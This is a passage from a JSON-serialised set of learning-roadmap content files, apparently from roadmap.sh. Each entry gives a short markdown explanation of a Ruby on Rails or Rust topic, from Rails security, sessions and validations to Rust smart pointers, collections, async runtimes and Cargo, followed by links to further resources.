    "content": "# Security\n\nSecurity in web applications involves protecting data and functionality from unauthorized access, use, disclosure, disruption, modification, or destruction. It encompasses various practices and techniques to ensure confidentiality, integrity, and availability of the application and its data. This includes addressing vulnerabilities like cross-site scripting (XSS), SQL injection, and authentication bypasses.\n\nVisit the following resources to learn more:\n\n- [@official@Securing Rails Applications](https://guides.rubyonrails.org/security.html)\n- [@article@A Complete Guide to Ruby on Rails Security Measures 🛡️](https://railsdrop.com/2025/05/11/a-complete-guide-to-ruby-on-rails-security-measures/)\n- [@article@The inadequate guide to Rails security](https://www.honeybadger.io/blog/ruby-security-tutorial-and-rails-security-guide/)\n- [@article@Essential Security Best Practices for Ruby on Rails](https://dev.to/harsh_u115/essential-security-best-practices-for-ruby-on-rails-4d68)\n- [@article@Securing Ruby on Rails Applications: Best Practices](https://medium.com/@vaishnaviganeshkar15/securing-ruby-on-rails-applications-best-practices-787f2cc03f02)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/sessions@mJ5wZPg770fDlJ-V9x75t.md",
    "content": "# Sessions in Rails Controllers\n\nBeyond processing requests and rendering views, controllers also provide a mechanism for maintaining user sessions. Sessions allow you to store data related to a specific user across multiple requests, enabling features like login persistence, shopping carts, and personalized experiences. This data is typically stored on the server and associated with a unique session ID that is sent to the client's browser as a cookie.\n\nVisit the following resources to learn more:\n\n- [@official@Session](https://guides.rubyonrails.org/action_controller_overview.html#session)\n- [@article@Mastering Sessions and Cookies in Rails: A Comprehensive Guide](https://medium.com/@carriekarft/mastering-sessions-and-cookies-in-rails-a-comprehensive-guide-0446422d7b22)\n- [@article@Cookies & Sessions in Rails](https://dev.to/matthewkohn/cookies-sessions-in-rails-54b8)\n- [@video@Rails Cookies and Session](https://www.youtube.com/watch?v=iOR-9fMMmLM)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/setting-up-ruby-on-rails@4nyrB8-xmd35S6ZNjPX8d.md",
    "content": "# Setting up Ruby on Rails\n\nSetting up Ruby on Rails involves installing the necessary software and configuring your environment to develop and run Rails applications. This typically includes installing Ruby, the Rails gem, a database system (like PostgreSQL or MySQL), and any other dependencies required for your project. Once these components are installed, you can create a new Rails application using the `rails new` command and start building your web application."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/sqlite@J7eIUewbviWck-lVJ1hre.md",
    "content": "# SQLite in Rails\n\nSQLite is a lightweight, file-based database engine. It requires no separate server process and stores the entire database in a single file on disk. This makes it a convenient choice for development, testing, and small-scale applications where a full-fledged database server isn't necessary. Rails supports SQLite out of the box, making it easy to set up and use.\n\nVisit the following resources to learn more:\n\n- [@official@Configuring an SQLite3 Database](https://guides.rubyonrails.org/configuring.html#configuring-an-sqlite3-database)\n- [@official@SQLite](https://www.sqlite.org/index.html)\n- [@article@SQLite in Production? Rails 8 Made Me a Believer](https://bhavyansh001.medium.com/sqlite-in-production-rails-8-made-me-a-believer-28a621db864a)\n- [@article@Configuring Rails Applications](https://edgeguides.rubyonrails.org/configuring.html#locations-for-initialization-code)\n- [@video@Stephen Margheim - SQLite on Rails: Supercharging the One-Person Framework - Rails World 2024](https://www.youtube.com/watch?v=wFUy120Fts8)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/storage@JyARA-iMMw2uEuB_ljFrs.md",
    "content": "# Storage in Ruby on Rails\n\nRails itself doesn't directly manage file storage; instead, it relies on external services or libraries to handle the actual saving and retrieval of these files. This allows you to store files locally on your server, or more commonly, in cloud storage services like Amazon S3, Google Cloud Storage, or Azure Blob Storage. These services offer scalability, reliability, and often lower costs compared to managing storage yourself.\n\nVisit the following resources to learn more:\n\n- [@official@Active Storage Overview](https://guides.rubyonrails.org/active_storage_overview.html)\n- [@article@Using Active Storage for Ruby on Rails](https://medium.com/@bwrosen20/using-active-storage-for-ruby-on-rails-a84991e45d93)\n- [@video@Active Storage For File Uploads | Ruby on Rails 7 Tutorial](https://www.youtube.com/watch?v=jjjAJeWJ2xE)\n- [@video@Active Storage in Ruby on Rails 5.2](https://www.youtube.com/playlist?list=PL3mtAHT_eRexVRWcjcqgfTvYQD2scoTlk)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/strong-parameters@cUYKqkqvg2u3Z4KOtAE9m.md",
    "content": "# Strong Parameters\n\nController parameters are the data sent from a client (like a web browser) to your Rails application, typically through forms or API requests. These parameters are accessible within your controller actions. Strong parameters are a security feature in Rails that helps protect your application from mass assignment vulnerabilities. They work by requiring you to explicitly permit which parameters are allowed to be used when creating or updating database records, effectively filtering out any unexpected or malicious data that might be included in the request.\n\nVisit the following resources to learn more:\n\n- [@official@Parameters](https://guides.rubyonrails.org/action_controller_overview.html#parameters)\n- [@official@Strong Parameters](https://guides.rubyonrails.org/action_controller_overview.html#strong-parameters)\n- [@article@Rails Params: Where do they come from?](https://medium.com/launch-school/params-in-rails-where-do-they-come-from-b172cdb46eb4)\n- [@article@How the Rails params hash works](https://www.honeybadger.io/blog/how-the-rails-params-hash-works/)\n- [@video@Understanding Rails Params & How to Use Them](https://www.youtube.com/watch?v=01xF2U2oA2M)\n- [@video@Ruby On Rails - Strong Parameters in Your Controllers](https://www.youtube.com/watch?v=Z8IrqXK86UM)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/testing@qtzX0ZzmWjs-CkHQDhsD1.md",
    "content": "# Testing\n\nTesting in software development involves verifying that individual units of code (unit tests) and the application as a whole (integration and system tests) function as expected. It helps ensure code quality, prevents regressions, and facilitates easier refactoring by providing a safety net to catch errors early in the development process. Different types of tests, such as unit, integration, and system tests, focus on different aspects of the application to provide comprehensive coverage.\n\nVisit the following resources to learn more:\n\n- [@official@Testing Rails Applications](https://guides.rubyonrails.org/testing.html)\n- [@article@A journey towards better Ruby on Rails testing practices](https://thoughtbot.com/blog/a-journey-towards-better-testing-practices)\n- [@article@What are all the Rails testing tools and how do I use them?](https://www.codewithjason.com/rails-testing-tools/)\n- [@video@Testing in Ruby on Rails Applications (Unit, Integration, & Functional Tests)](https://www.youtube.com/watch?v=eXmA1vWGDfs)\n- [@video@Testing A Rails App That Uses Devise Sessions | Ruby On Rails 7 Tutorial](https://www.youtube.com/watch?v=PtGjHGdJQrQ)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/transactions@yrW99MwJNCBMinYUXm1B_.md",
    "content": "# Transactions\n\nTransactions are a sequence of operations performed as a single logical unit of work. They ensure data integrity by treating a series of database operations as an \"all or nothing\" proposition. If any operation within the transaction fails, the entire transaction is rolled back, reverting the database to its original state before the transaction began. This prevents partial updates and maintains consistency.\n\nVisit the following resources to learn more:\n\n- [@official@Active Record Transactions](https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html)\n- [@article@What Is A Transaction?](https://www.honeybadger.io/blog/database-transactions-rails-activerecord/)\n- [@article@Rails transactions: The Complete Guide](https://medium.com/@kristenrogers.kr75/rails-transactions-the-complete-guide-7b5c00c604fc)\n- [@article@107.ActiveRecord Transactions in depth](https://courses.bigbinaryacademy.com/learn-rubyonrails/activerecord-transactions-in-depth/)\n- [@article@5 Tips to Design Ruby on Rails Transactions the Right Way](https://blog.appsignal.com/2022/03/30/5-tips-to-design-ruby-on-rails-transactions-the-right-way.html)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/validations@UD5BpSz2CRK1_Sl2z67AL.md",
    "content": "# Validations\n\nValidations are rules that you define for your models to ensure that only valid data is saved into your database. They help maintain data integrity by checking if attributes meet specific criteria, such as presence, format, uniqueness, or custom conditions, before a record is created or updated. If a validation fails, the record will not be saved, and an error message will be added to the object's `errors` collection.\n\nVisit the following resources to learn more:\n\n- [@official@Active Record Validations](https://guides.rubyonrails.org/active_record_validations.html)\n- [@article@Ruby on Rails - Validation](https://www.tutorialspoint.com/ruby-on-rails/rails-validation.htm)\n- [@article@A Deep Dive into Active Record Validations](https://www.honeybadger.io/blog/active-record-validations/)\n- [@video@Active Record Validations For Beginners | Ruby On Rails 7 Tutorial](https://www.youtube.com/watch?v=gLRm5UajMiE)\n- [@video@Understanding Ruby on Rails ActiveRecord Validations](https://www.youtube.com/watch?v=c3hoXWO_6ao)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/viewcomponent@e7tcUrtjEcFvQNL6PCYE1.md",
    "content": "# ViewComponent\n\nViewComponent is a framework for building reusable, testable & encapsulated UI components in Ruby on Rails. It encourages a component-based architecture within your Rails application, allowing you to define UI elements as Ruby classes with associated templates, similar to components in frameworks like React or Vue. This approach promotes better organization, maintainability, and reusability of your view code.\n\nVisit the following resources to learn more:\n\n- [@official@ViewComponent](https://viewcomponent.org/)\n- [@opensource@view_component](https://github.com/ViewComponent/view_component)\n- [@article@Building reusable UI components in Rails with ViewComponent](https://www.honeybadger.io/blog/rails-viewcomponent/)\n- [@video@ViewComponent Crash Course with Ruby on Rails](https://www.youtube.com/watch?v=Mc19pB784Us)\n- [@video@Intro To View Components In Ruby On Rails 7](https://www.youtube.com/watch?v=z077hg7Zzyk)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/why-web-frameworks@VCufea-9vs4DfzB815IT5.md",
    "content": "# Why Web Frameworks?\n\nWeb frameworks provide a structured and efficient way to build web applications by offering pre-built components, tools, and conventions. They handle common tasks like routing, database interaction, and templating, allowing developers to focus on the unique features of their application rather than reinventing the wheel. This leads to faster development, more maintainable code, and improved security."
  },
  {
    "path": "src/data/roadmaps/rust/content/actix@3Y90v2ysoMcyjDL24H7mC.md",
    "content": "# Actix\n\nActix is a high-performance, pragmatic web framework for Rust built on the actor model. It features powerful middleware, WebSocket support, and excellent performance benchmarks. Actix provides a flexible, feature-rich API for building web applications, APIs, and microservices with minimal boilerplate.\n\nVisit the following resources to learn more:\n\n- [@official@Actix - Actor framework for Rust](https://actix.rs/)\n- [@official@Actix Documentation](https://docs.rs/actix/latest/actix/)\n- [@article@Building a Clean API in Rust with Actix Web](https://medium.com/@anto18671/building-a-clean-api-in-rust-with-actix-web-a-comprehensive-guide-d084e368a988)"
  },
  {
    "path": "src/data/roadmaps/rust/content/arc@yYmV5qkldu0FkDhOhWOXs.md",
    "content": "# Arc\n\n`Arc<T>` (Atomic Reference Counting) is a thread-safe smart pointer for sharing immutable data across multiple threads. It uses atomic operations to track reference counts, allowing multiple ownership of heap-allocated data. When the reference count reaches zero, the data is automatically cleaned up.\n\nVisit the following resources to learn more:\n\n- [@official@Arc in std::sync](https://doc.rust-lang.org/std/sync/struct.Arc.html)\n- [@official@Arc in Rust Lang](https://doc.rust-lang.org/rust-by-example/std/arc.html)"
  },
  {
    "path": "src/data/roadmaps/rust/content/array@2DbdHCjFzGHwCUETakaGh.md",
    "content": "# Array\n\nArrays are fixed-size collections of elements of the same type stored consecutively in memory. Size must be known at compile time and cannot change. Syntax: `let arr: [type; size] = [elements];`. Example: `let nums: [i32; 3] = [1, 2, 3];`. Access elements with zero-based indexing: `arr[0]`.\n\nVisit the following resources to learn more:\n\n- [@official@Array](https://doc.rust-lang.org/std/primitive.array.html)\n- [@article@The Array Type](https://rust-book.cs.brown.edu/ch03-02-data-types.html#the-array-type)\n- [@article@Rust Array (With Examples)](https://www.programiz.com/rust/array)\n- [@video@Rust Tutorial - Arrays](https://www.youtube.com/watch?v=t047Hseyj_k&t=767s)"
  },
  {
    "path": "src/data/roadmaps/rust/content/async-std@_2uQInXPdOY-DpYTO1Prt.md",
    "content": "# async-std\n\n`async-std` provides an asynchronous version of Rust's standard library, offering familiar APIs for async programming. It includes its own runtime, task scheduler, and async I/O primitives, designed as a drop-in replacement for std with async capabilities and intuitive syntax.\n\nVisit the following resources to learn more:\n\n- [@official@async-std](https://docs.rs/async-std/latest/async_std/)\n- [@article@Rust Async Programming: Tokio & Async-std](https://medium.com/@AlexanderObregon/async-programming-in-rust-exploring-tokio-and-async-std-97d4b524cef0)"
  },
  {
    "path": "src/data/roadmaps/rust/content/asynchronous-programming@yu0f5gALho0e8wzV10yow.md",
    "content": "# Asynchronous Programming\n\nAsync programming in Rust allows executing tasks concurrently rather than sequentially, enabling efficient resource usage especially in IO-heavy applications. Rust provides `async` and `await` keywords: `async` marks functions that can return `Future` values, while `await` pauses and resumes async functions. Popular async runtimes like Tokio and async-std manage task execution efficiently.\n\nVisit the following resources to learn more:\n\n- [@official@Fundamentals of Asynchronous Programming](https://doc.rust-lang.org/book/ch17-00-async-await.html)\n- [@official@async-std](https://docs.rs/async-std/latest/async_std/)\n- [@article@Demystifying Async Programming in Rust](https://medium.com/@trek007/demystifying-async-programming-in-rust-a-complete-guide-with-real-world-examples-147079950f8b)\n- [@article@Rust Async Programming: Tokio & Async-std](https://medium.com/@AlexanderObregon/async-programming-in-rust-exploring-tokio-and-async-std-97d4b524cef0)"
  },
  {
    "path": "src/data/roadmaps/rust/content/atomic-operations--memory-barriers@n1Epl_nBuoXW2OE0IKYVR.md",
    "content": "# Atomic Operations and Memory Barriers\n\nAtomic operations provide lock-free concurrency through uninterruptible operations like `load`, `store`, `swap`, and `compare_and_swap`. These low-level primitives enable thread-safe data sharing without locks, forming the foundation for higher-level concurrent abstractions and non-blocking data structures.\n\nVisit the following resources to learn more:\n\n- [@official@fence in std::sync::atomic](https://doc.rust-lang.org/std/sync/atomic/fn.fence.html)\n- [@article@Atomic Operations and Memory Barriers](https://medium.com/@murataslan1/atomic-operations-and-memory-barriers-43ee6f60ead5)"
  },
  {
    "path": "src/data/roadmaps/rust/content/axum@duQ1RO1lqq793mfb5w31P.md",
    "content": "# Axum\n\nAxum is a modern, ergonomic web framework built on hyper and designed for async Rust. It features excellent type safety, powerful extractors, middleware support, and seamless Tokio integration. Axum emphasizes developer experience while maintaining high performance for web services and APIs.\n\nVisit the following resources to learn more:\n\n- [@official@Axum Documentation](https://docs.rs/axum/latest/axum/)\n- [@article@Getting Started with Axum - Rust's Most Popular Web Framework](https://www.shuttle.dev/blog/2023/12/06/using-axum-rust)"
  },
  {
    "path": "src/data/roadmaps/rust/content/bevy@uyrGki0jB7DXQ0HJe2-vY.md",
    "content": "# bevy\n\nBevy is a modern, data-driven game engine built in Rust featuring an ECS (Entity Component System) architecture. It supports both 2D and 3D games with modular design, custom shaders, and high performance. Bevy emphasizes developer ergonomics and provides comprehensive tools for game development.\n\nVisit the following resources to learn more:\n\n- [@official@Bevy Engine](https://bevy.org/)\n- [@official@Bevy Documentation](https://docs.rs/bevy/latest/bevy/)\n- [@opensource@bevyengine/bevy](https://github.com/bevyengine/bevy)"
  },
  {
    "path": "src/data/roadmaps/rust/content/binary-heap@jdndHBzmdgI6uYql6bO4W.md",
    "content": "# BinaryHeap\n\n`BinaryHeap<T>` is a priority queue implemented as a max-heap using a binary tree structure stored in an array. The largest element is always at the root, accessible via `peek()`. Supports O(log n) insertion with `push()` and removal with `pop()`. Useful for priority-based algorithms.\n\nVisit the following resources to learn more:\n\n- [@official@BinaryHeap](https://doc.rust-lang.org/std/collections/struct.BinaryHeap.html)\n- [@article@The Rust Guide - BinaryHeap](https://rust-guide.com/en/documentation/collections/BinaryHeap)\n- [@article@Comprehensive Guide to BinaryHeap in Rust](https://www.gyata.ai/rust/binaryheap)"
  },
  {
    "path": "src/data/roadmaps/rust/content/boolean@bjwJCGMx5ZfrH7vz3eLS7.md",
    "content": "# Boolean\n\nRust's `bool` primitive type represents truth values with two possible states: `true` or `false`. Booleans are used in conditional statements and logical operations like `&&` (AND), `||` (OR), and `!` (NOT). When cast to integers, `true` becomes `1` and `false` becomes `0`. Example: `let is_active: bool = true;`\n\nVisit the following resources to learn more:\n\n- [@official@bool](https://doc.rust-lang.org/std/primitive.bool.html)\n- [@article@The Boolean Type](https://rust-book.cs.brown.edu/ch03-02-data-types.html#the-boolean-type)\n- [@video@Rust Tutorial - Booleans](https://www.youtube.com/watch?v=t047Hseyj_k&t=388s)"
  },
  {
    "path": "src/data/roadmaps/rust/content/borrowing-references-and-slices@-onH5vPffdcZFjjVcnEpk.md",
    "content": "# Borrowing, References, and Slices\n\nBorrowing allows accessing data without taking ownership. Immutable borrows (`&T`) permit multiple read-only references, while mutable borrows (`&mut T`) allow one exclusive reference that can modify data. Slices (`&[T]`, `&str`) are references to contiguous sequences, enabling safe access to portions of data.\n\nVisit the following resources to learn more:\n\n- [@official@References and Borrowing](https://doc.rust-lang.org/book/ch04-02-references-and-borrowing.html)\n- [@article@The Slice Type](https://rust-book.cs.brown.edu/ch04-04-slices.html)\n- [@article@Borrowing and References in Rust](https://codeforgeek.com/borrowing-and-references-in-rust/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/box@WjpkWH7f38y-bHUJ6ruGG.md",
    "content": "# Box\n\nA `Box` in Rust is a smart pointer that allocates memory on the heap. It's primarily used to store data that has a size that's not known at compile time, or when you want to transfer ownership of data without copying it. Think of it as a way to put data on the heap and access it through a pointer, ensuring that the data is automatically deallocated when the `Box` goes out of scope.\n\nVisit the following resources to learn more:\n\n- [@official@Using Box<T> to Point to Data on the Heap](https://doc.rust-lang.org/book/ch15-01-box.html)\n- [@official@Smart Pointers](https://doc.rust-lang.org/book/ch15-00-smart-pointers.html#smart-pointers)\n- [@video@The Box Smart Pointer in Rust](https://www.youtube.com/watch?v=m76sRj2VgGo)"
  },
  {
    "path": "src/data/roadmaps/rust/content/btreemap@LWgaZWTJVWLDes3HzflRh.md",
    "content": "# BTreeMap\n\n`BTreeMap<K, V>` stores key-value pairs in a sorted binary tree structure. Keys must implement `Ord` trait and are automatically kept in sorted order. Provides O(log n) operations for insertion, removal, and lookup. Ideal when you need ordered iteration and range queries.\n\nVisit the following resources to learn more:\n\n- [@official@BTreeMap](https://doc.rust-lang.org/std/collections/struct.BTreeMap.html)\n- [@article@BTreeMap](https://cglab.ca/~abeinges/blah/rust-btree-case/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/btreeset@FsyLYRQP_rs4qL7IAj9Mo.md",
    "content": "# BTreeSet\n\n`BTreeSet<T>` is a sorted set of unique elements implemented using a B-tree. Elements must implement `Ord` trait and are kept in sorted order. Provides O(log n) insertion, removal, and lookup operations. Supports efficient range queries and set operations like union and intersection.\n\nVisit the following resources to learn more:\n\n- [@official@Btree Set](https://doc.rust-lang.org/std/collections/struct.BTreeSet.html)"
  },
  {
    "path": "src/data/roadmaps/rust/content/channels@3nXJg5Y4SUug_dEAj0eQm.md",
    "content": "# Channels\n\nChannels enable thread communication via message passing from `std::sync::mpsc` (Multiple Producer, Single Consumer). They have `Sender` for sending data and `Receiver` for receiving. This avoids shared state concurrency issues and enables safe communication between threads without data races.\n\nVisit the following resources to learn more:\n\n- [@official@Channels](https://doc.rust-lang.org/rust-by-example/std_misc/channels.html)\n- [@article@Using Channels in Rust: Why and When?](https://howtorust.com/using-channels-in-rust-why-and-when/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/character@dXMJb2wDmmh2jie1AnPoK.md",
    "content": "# Character\n\nRust's `char` type represents a Unicode Scalar Value, supporting far more than ASCII including emojis, accented letters, and various scripts. Each `char` occupies 4 bytes (32 bits) in memory and is defined using single quotes. Example: `let letter: char = 'z';` or `let emoji: char = '🦀';`\n\nVisit the following resources to learn more:\n\n- [@official@The char Primitive Type](https://doc.rust-lang.org/std/primitive.char.html)\n- [@article@The Character Type](https://rust-book.cs.brown.edu/ch03-02-data-types.html#the-character-type)\n- [@article@Unicode Glossary - Unicode Scalar Value](https://www.unicode.org/glossary/#unicode_scalar_value)\n- [@video@Char Type in Rust](https://www.youtube.com/watch?v=NZaEinuVPVg&pp=ygURY2hhciB0eXBlIGluIHJ1c3Q%3D)"
  },
  {
    "path": "src/data/roadmaps/rust/content/clap@AId80IokM7NvGBVutmuGC.md",
    "content": "# clap\n\n`clap` is Rust's most popular command-line argument parser library. It provides declarative CLI definition with automatic help generation, subcommands, validation, and error handling. Supports both builder pattern and derive macros for easy CLI app development with comprehensive features.\n\nVisit the following resources to learn more:\n\n- [@official@clap](https://docs.rs/clap/latest/clap/)\n- [@article@Using Clap in Rust for command line (CLI) Argument Parsing](https://blog.logrocket.com/using-clap-rust-command-line-argument-parsing/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/cli-utilities@2Zyyf9q_CxmOW-z2pipL.md",
    "content": "# CLI Utilities\n\nRust excels at building fast, reliable command-line tools with memory safety and performance. Popular crates include `clap` for argument parsing, `structopt` for derives, and `termion` for terminal control. Rust's tooling ecosystem makes CLI development efficient and robust.\n\nLearn more from the following links:\n\n- [@official@structopt](https://docs.rs/structopt/latest/structopt/)\n- [@official@clap](https://docs.rs/clap/latest/clap/)\n- [@official@Command-line Apps](https://www.rust-lang.org/what/cli/)\n- [@article@Rust CLI Utilities - GitHub](https://github.com/baldwin-sudo/rusty-utils)"
  },
  {
    "path": "src/data/roadmaps/rust/content/cli-utilities@2Zyyf9q_CxmOW-z2pipL8.md",
    "content": "# CLI Utilities\n\nCLI utilities are command-line tools that allow users to interact with their system through text commands. Rust is excellent for building fast, reliable CLI tools due to its memory safety and performance. Popular crates like clap and structopt help parse command-line arguments, handle input validation, and generate help messages, making CLI development efficient.\n\nVisit the following resources to learn more:\n\n- [@official@structopt](https://docs.rs/structopt/latest/structopt/)\n- [@official@clap](https://docs.rs/clap/latest/clap/)\n- [@official@Command-line Apps](https://www.rust-lang.org/what/cli/)\n- [@article@Rust CLI Utilities - GitHub](https://github.com/baldwin-sudo/rusty-utils)"
  },
  {
    "path": "src/data/roadmaps/rust/content/code-organization--namespacing@c_SdccEXEJyh4ymWzvCeX.md",
    "content": "# Code Organization and Namespacing\n\nRust organizes code through modules (`mod`) for grouping related functionality and crates (binary/library projects). Modules provide namespacing and can be nested. Crates are compilation units with a root file (`main.rs` or `lib.rs`) forming the module tree for libraries or executables.\n\nVisit the following resources to learn more:\n\n- [@official@Modules](https://doc.rust-lang.org/rust-by-example/mod.html)\n- [@official@Namespaces](https://doc.rust-lang.org/reference/names/namespaces.html)\n- [@feed@Explore top posts about General Programming](https://app.daily.dev/tags/general-programming?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/rust/content/concurrency--parallelism@pehYc_xLrs6BFUbcpPTiJ.md",
    "content": "# Concurrency and Parallelism\n\nConcurrency allows tasks to run in overlapping time periods (interleaved execution), while parallelism executes multiple tasks simultaneously on different cores. Rust provides safe concurrency primitives like channels, mutexes, and atomic operations without data races, enforced at compile time.\n\nVisit the following resources to learn more:\n\n- [@official@Fearless Concurrency](https://doc.rust-lang.org/book/ch16-00-concurrency.html)\n- [@article@Rust Concurrency and Parallelism](https://rustlang.app/article/Rust_concurrency_and_parallelism.html)\n- [@article@Concurrency and Parallelism in Rust](https://sterlingcobb.medium.com/concurrency-and-parallelism-in-rust-an-overview-and-examples-bd811f5a5afe)"
  },
  {
    "path": "src/data/roadmaps/rust/content/control-flow-and-constructs@u2wlnmE1uLaTqWw35UF0a.md",
    "content": "# Control Flow Constructs\n\nIn Rust, control flow is managed through various structures, like `if`, `else`, `while`, `for`, `loop`, `match` and `if let`. The `if` and `else` structures are used to execute different blocks of code based on certain conditions. Similar to other languages, `while` and `for` are used for looping over a block of code. The `while` loop repeats a block of code until the condition is false, and the `for` loop is used to iterate over a collection of values, such as an array or a range. The `loop` keyword tells Rust to execute a block of code over and over again forever or until you explicitly tell it to stop. Rust's `match` structure, which is similar to switch statements in other languages, is a powerful tool used for pattern matching: it checks through different cases defined by the programmer and executes the block where the match is found. The `if let` syntax lets you combine `if` and `let` into a less verbose way to handle values that match one pattern while ignoring the rest.\n\nVisit the following resources to learn more:\n\n- [@official@Control Flow](https://doc.rust-lang.org/book/ch03-05-control-flow.html)\n- [@article@Concise Control Flow with if let](https://rust-book.cs.brown.edu/ch06-03-if-let.html)\n- [@article@Mastering Control Flow in Rust](https://dev.to/iamdipankarpaul/mastering-control-flow-in-rust-36fd)"
  },
  {
    "path": "src/data/roadmaps/rust/content/covariant--contravariant-lifetimes@7yVvMnvCvLbFa51pESx0j.md",
    "content": "# Covariant and Contravariant Lifetimes\n\nVariance describes how subtyping relationships change when types are nested. Covariant types preserve ordering (`&'long T` is subtype of `&'short T`), contravariant reverses it, invariant requires exact matches. Affects how lifetimes work with references, boxes, and function parameters.\n\nVisit the following resources to learn more:\n\n- [@official@Subtyping and Variance](https://doc.rust-lang.org/nomicon/subtyping.html)\n- [@article@Demystifying Covariant and Contravariant Lifetimes in Rust](https://medium.com/@murataslan1/demystifying-covariant-and-contravariant-lifetimes-in-rust-76051484fe1c)"
  },
  {
    "path": "src/data/roadmaps/rust/content/criterionrs@clQ26LFV_9AdQ4evnaxUK.md",
    "content": "# Criterion.rs\n\n`Criterion.rs` is a statistics-driven microbenchmarking library for Rust that provides reliable performance analysis over time. It offers detailed feedback, automatic outlier detection, and statistical methods to compare algorithm performance and track regressions with actionable insights.\n\nVisit the following resources to learn more:\n\n- [@official@Criterion](https://docs.rs/criterion/latest/criterion/)\n- [@article@Rust Benchmarking with Criterion.rs](https://www.rustfinity.com/blog/rust-benchmarking-with-criterion)\n- [@article@Benchmarking Rust Functions Using Criterion](https://www.slingacademy.com/article/benchmarking-rust-functions-using-criterion/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/cryptography@Rv_Z-rbtELPZ1Nv0PZQmV.md",
    "content": "# Cryptography\n\nCryptography involves securing data through encryption (making readable data unreadable) and decryption (reversing the process). Rust offers crypto libraries like `ring`, `sodiumoxide`, and `rust-crypto` for hashing, symmetric/asymmetric encryption, and digital signatures with memory-safe implementations.\n\nVisit the following resources to learn more:\n\n- [@official@Cryptography — list of Rust libraries/crates](https://lib.rs/cryptography)\n- [@article@Awesome Rust Cryptography](https://cryptography.rs/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/custom-error-types-and-traits@LwqOxYY9E9MUDgz2M40uV.md",
    "content": "# Custom Error Types and Traits\n\nCustom error types use `enum` to define specific error variants with attached data. Implement `Debug`, `Display`, and optionally `std::error::Error` traits for proper error handling integration. Libraries like `thiserror` provide derive macros to simplify custom error creation and formatting.\n\nVisit the following resources to learn more:\n\n- [@official@Defining an Error Type](https://doc.rust-lang.org/rust-by-example/error/multiple_error_types/define_error_type.html)"
  },
  {
    "path": "src/data/roadmaps/rust/content/database-and-orm@_n7emeqzf5UTxVB5-385G.md",
    "content": "# Database and ORM\n\nORMs (Object-Relational Mapping) provide abstraction layers between Rust code and SQL databases. Popular Rust ORMs include Diesel (compile-time safety), SQLx (async with compile-time query checking), and Sea-ORM. They eliminate raw SQL writing while maintaining type safety and performance.\n\nVisit the following resources to learn more:\n\n- [@official@Diesel is a Safe, Extensible ORM and Query Builder for Rust](https://diesel.rs/)\n- [@article@Choosing the Right ORM for Rust: A Comparative Analysis](https://medium.com/@wiederinchristoph/rusts-ecosystem-offers-a-variety-of-object-relational-mapping-orm-libraries-and-database-ce4690a97a61)"
  },
  {
    "path": "src/data/roadmaps/rust/content/debugging@7YKWYxogJq6X35IAUwcZF.md",
    "content": "# Debugging\n\nRust provides excellent debugging support through `rust-gdb` and `rust-lldb` debuggers, along with built-in macros like `println!`, `dbg!`, and `debug!`. The strict compiler catches many bugs at compile-time, while runtime debugging is enhanced by panic backtraces and comprehensive error messages.\n\nVisit the following resources to learn more:\n\n- [@article@Debugging Rust apps with GDB](https://blog.logrocket.com/debugging-rust-apps-with-gdb/)\n- [@article@Rust Debugging: Easy Guide with Practical Examples](https://boxoflearn.com/rust-debugging-guide/)\n- [@article@Testing and Debugging in Rust](https://rustmeup.com/testing-and-debugging-in-rust)\n- [@article@Mastering Rust Debugging: Tips & Tools](https://medium.com/@AlexanderObregon/rust-debugging-strategies-tools-and-best-practices-b18b92e0a921)"
  },
  {
    "path": "src/data/roadmaps/rust/content/declarative-macros-with-macro_rules@AXWXXsww7Xkl3BYgtThNe.md",
    "content": "# Declarative Macros with macro_rules!\n\nDeclarative macros use `macro_rules!` for pattern-based code generation at compile time. They match syntax patterns and expand into replacement code, enabling code reuse without runtime overhead. More limited than procedural macros but simpler to write and understand.\n\nVisit the following resources to learn more:\n\n- [@official@Macros](https://doc.rust-lang.org/book/ch20-05-macros.html)\n- [@article@Macros in Rust: A Tutorial with Examples](https://blog.logrocket.com/macros-in-rust-a-tutorial-with-examples/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/deep-dive-stack-vs-heap@UdXq0H8599cDTKXaIlPqt.md",
    "content": "# Deep Dive: Stack vs Heap\n\nStack memory stores fixed-size data with automatic allocation/deallocation following LIFO order - fast but limited. Heap memory stores dynamic-size data with manual management - slower but flexible. Rust's ownership system ensures memory safety across both, with stack being default and heap accessed via smart pointers.\n\nVisit the following resources to learn more:\n\n- [@official@Box, Stack and Heap](https://doc.rust-lang.org/rust-by-example/std/box.html)\n- [@article@Memory Management in Rust: Stack vs. Heap](https://dev.to/iamdipankarpaul/memory-management-in-rust-stack-vs-heap-3m45)\n- [@article@The Stack and the Heap](https://web.mit.edu/rust-lang_v1.25/arch/amd64_ubuntu1404/share/doc/rust/html/book/first-edition/the-stack-and-the-heap.html)"
  },
  {
    "path": "src/data/roadmaps/rust/content/dependency-management-with-cargo@PkePVzV-b1pgFJP5xID5_.md",
    "content": "# Dependency Management with Cargo.toml\n\nCargo manages Rust projects and dependencies through `Cargo.toml` files. Dependencies are listed in `[dependencies]` sections with crate names and semantic version specifications. Cargo automatically downloads, builds, and manages external libraries (crates) from [crates.io](http://crates.io) or other sources.\n\nVisit the following resources to learn more:\n\n- [@official@Dependencies](https://doc.rust-lang.org/rust-by-example/cargo/deps.html)\n- [@official@Cargo](https://blog.rust-lang.org/2016/05/05/cargo-pillars.html)"
  },
  {
    "path": "src/data/roadmaps/rust/content/diesel@UAXpBK3lfnq0Q4RcBehZ1.md",
